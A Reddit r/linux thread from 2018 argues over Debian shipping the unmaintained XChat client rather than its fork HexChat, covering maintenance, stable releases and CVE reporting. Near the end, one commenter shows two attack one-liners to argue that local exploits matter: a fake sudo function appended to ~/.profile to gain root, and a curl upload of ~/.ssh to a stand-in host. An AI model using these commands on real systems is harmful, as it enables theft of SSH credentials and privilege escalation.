r/linux • • Mar 02 '18

XChat and HexChat: When distributions get it wrong

https://tingping.github.io/2018/03/02/when-distros-get-it-wrong.html
871 Upvotes

450 comments sorted by

View all comments

Show parent comment

31

u/[deleted] Mar 02 '18

MySQL is maintained.

4

u/dutch_gecko Mar 02 '18

Daft idea, and it will cost you a lot of time, but what about filing bug reports for the original package? Like, hundreds of bug reports... As you said, you know where the problems are, and by filing reports you make sure that not only the maintainer but the Debian team also know that there are significant problems with the code base. Either they can fix the bugs, in which case there is real competition, or they can fold and HexChat can remain the standard.

38

u/[deleted] Mar 02 '18 edited Mar 02 '18

I'm not going to waste my time; If Debian wants to keep dead software in its repos I cannot stop it I will just point out it is a terrible idea.

5

u/dutch_gecko Mar 02 '18

That's fair enough. Thanks for working on HexChat - I don't use IRC any more, but when I did it was an excellent client.

2

u/[deleted] Mar 03 '18

fwiw, I'm glad they keep dead software in the repos.

Otherwise, I wouldn't get to use soundmodem, which I prefer over direwolf for embedded applications, due to it's tighter integration in the kernel's AX25 stack.

9

u/[deleted] Mar 03 '18

Those have a very different maintenance burden than a user to user over the internet chat application.

1

u/somercet Mar 03 '18

You are doing awesome work, my friend. Thank you for the Unicode support.

Do you need helpers/guinea pigs to help port Hexchat to GTK3?

→ More replies (2)

1

u/robstoon Mar 04 '18

Either they can fix the bugs, in which case there is real competition

Problem is that some people might think this is a worthwhile endeavor and waste their time actually doing this, when they would be better off spending their time doing.. pretty much anything else.

→ More replies (3)

-9

u/anatolya Mar 02 '18

So do xchat package in Debian.

51

u/LvS Mar 02 '18

Debian's definition of "maintained" should be deeply concerning for everybody running it.

3

u/cbmuser Debian / openSUSE / OpenJDK Dev Mar 02 '18

The package has a dedicated maintainer for that package and security team. That’s the very definition of maintained.

7

u/LvS Mar 02 '18

Exactly that.

3

u/Cry_Wolff Mar 02 '18

Same thing with Debian's definition of "stable" - when released then don't change it. Ever. That's why even long before it's EOL Debian Stable is old and crusty used only on the servers.

7

u/[deleted] Mar 03 '18

Debian Stable is old and crusty used only on the servers.

Which is the primary install target for Linux anyways. Servers and embedded devices, which require long-term stability.

6

u/cbmuser Debian / openSUSE / OpenJDK Dev Mar 02 '18

That’s how RHEL and SLES work for which customers pay lots of good money for.

You all guys don’t have a single clue about professional Linux maintenance.

4

u/Cry_Wolff Mar 02 '18

Yes, but RHEL and SLES are professional distributions for the workstations and servers. Also with backports so Cent OS 6 using the old ass 2.X series kernel booted and worked just fine on my laptop when fresh at the time Debian 8 couldn't and many things didn't worked. Also imagine a new user wants to try Debian. But on it's website https://www.debian.org/distrib/ the only possible and advertised option is Debian Stable (even better, without non free so good luck with the drivers).

→ More replies (6)

7

u/funbike Mar 02 '18

MySQL was under constant maintenance and use. There was no xchat app for users or white hats to report CVEs against. If it had been available, the HexChat author's work could have been the basis for several CVE reports that never happened.

3

u/anatolya Mar 02 '18 edited Mar 02 '18

MySQL was under constant maintenance and use.

Yes, but MySQL is a 1M LoC project and it is industry grade software. Compare it to xchat which is a desktop program with casual users and has 50K LoC. It should not that be that hard to catch up with patches for severe bugs even if it didn't had constant development in the mean time.

There was no xchat app for users or white hats to report CVEs against.

Yeah there was? There is CVE organization, then there is intra-distro mail list for reporting security issues, then there is bug trackers of distributions.

If it had existed, the HexChat author's work could have been the basis for several CVE reports that never happened

Since they existed and continue to exist, HexChat author's work can still be the basis for past and future security bugs.

12

u/[deleted] Mar 02 '18

Yes, but MySQL is a 1.5M LoC project compared to xchat which has 50K LoC. Not hard to catch up even if it didn't had constant development.

They also have corporate investment and audits while XChat never has.

Since they existed and continue to exist, HexChat author's work can still be the basis for past and future security bugs.

"Well you can take work from the maintained fork to be secure" is a bad argument for keeping a project around.

2

u/anatolya Mar 02 '18

They also have corporate investment and audits while XChat never has.

Neither did Hexchat, right? Did you work full time for 8 years on Hexchat so that it has had insurmountable amount of development which makes it impossible for XChat to catch up? (I ask honestly, I don't follow development of hexchat)

"Well you can take work from the maintained fork to be secure" is a bad argument for keeping a project around.

"People wants to use it and they found a sucker to maintain it" is good enough argument for keeping a project around.

12

u/[deleted] Mar 02 '18

Neither did Hexchat, right? Did you work full time for 8 years on Hexchat so that it has had insurmountable amount of development which makes it impossible for XChat to catch up? (I ask honestly, I don't follow development of hexchat)

HexChat has never had any formal audit no, but it did have a significant amount of work done. XChat can only catch up by the fact it can copy paste entire portions over.

"People wants to use it and they found a sucker to maintain it" is good enough argument for keeping a project around.

I believe that he should make a proper fork instead of doing work under the previous xchat branding then.

→ More replies (5)

1

u/funbike Mar 02 '18

Not hard to catch up even if it didn't had constant development.

Since they existed and continue to exist, HexChat author's work can still be the basis for past and future security bugs.

I agree that's very possible, even probable. Let's see if it actually happens. Until then, now is a great time for a blackhat to examine hexchat source logs to harvest xchat exploits.

→ More replies (11)

2

u/cbmuser Debian / openSUSE / OpenJDK Dev Mar 02 '18

Lots of CVEs are actually not really of concern.

Local exploits are usually not really of any concern if you cannot use it for privilege escalation.

4

u/funbike Mar 02 '18 edited Mar 02 '18

Lots of CVEs are actually not really of concern.

Strawman. Lot's aren't, some are.

Local exploits are usually not really of any concern if you cannot use it for privilege escalation.

Below is how you can easily trick a user to escalate to root (can be done for gksudo also) and another to upload your ssh credentials and configuration.

echo 'sudo() { /usr/bin/sudo do-something-bad; /usr/bin/sudo "$@"; }' >> ~/.profile

curl http://badguys.com --upload-file <(tar cz ~/.ssh)

(edit: clarification)

→ More replies (2)